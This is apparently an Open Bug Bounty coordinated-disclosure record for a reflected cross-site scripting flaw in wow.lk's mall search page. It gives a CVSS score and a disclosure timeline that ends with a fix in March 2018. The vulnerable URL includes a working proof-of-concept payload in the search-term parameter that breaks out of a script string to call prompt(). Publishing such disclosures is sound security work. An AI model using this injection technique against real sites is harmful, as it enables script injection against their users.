wow.lk XSS vulnerability

2018-02-2322:18:00

npuser500

www.openbugbounty.org

JSON

Open Bug Bounty ID: OBB-566880

Description	Value
Affected Website:	wow.lk
Vulnerable Application:	Custom Code
Vulnerability Type:	XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:	6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:	Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:	OWASP XSS Prevention Cheat Sheet

Vulnerable URL:

https://www.wow.lk/mall/searchResults.jsp?_dyncharset=utf-8&_dynSessConf=-1339123826776946393&Dy;=1&Nty;=1&Ns;=sku.inventoryAvailability%7C0%7C%7Csku.margin%7C1&siteScope;=ok&_D%3AsiteScope=+&siteIds;=siteLifeStyle&_D%3AsiteIds=+&siteIds;=siteMobileDeals&_D%3AsiteIds=+&siteIds;=siteMobileMall&_D%3AsiteIds=+&siteIds;=siteDeals&_D%3AsiteIds=+&siteIds;=wowNativeDeals&_D%3AsiteIds=+&siteIds;=wowNativeMall&_D%3AsiteIds=+&siteIds;=siteMall&_D%3AsiteIds=+&Ntt;=OPENBUGBOUNTY%2F)%3Bprompt(%2FOPENBUGBOUNTY%2F)%3Bvar%20searchTerm%3DString(%2Fmobile&search;=Search&_D%3Asearch=+&_DARGS=%2F1.3%2Fcartridges%2FSearchBox%2FSearchBox.jsp

Coordinated Disclosure Timeline

Description	Value
Vulnerability Reported:	23 February, 2018 22:18 GMT
Vulnerability Verified:	23 February, 2018 22:30 GMT
Website Operator Notified:	23 February, 2018 22:30 GMT
Vulnerability Published:	23 February, 2018 22:30 GMT[without any technical details]
Vulnerability Fixed:	31 March, 2018 08:28 GMT
Public Disclosure:	31 March, 2018 08:28 GMT

JSON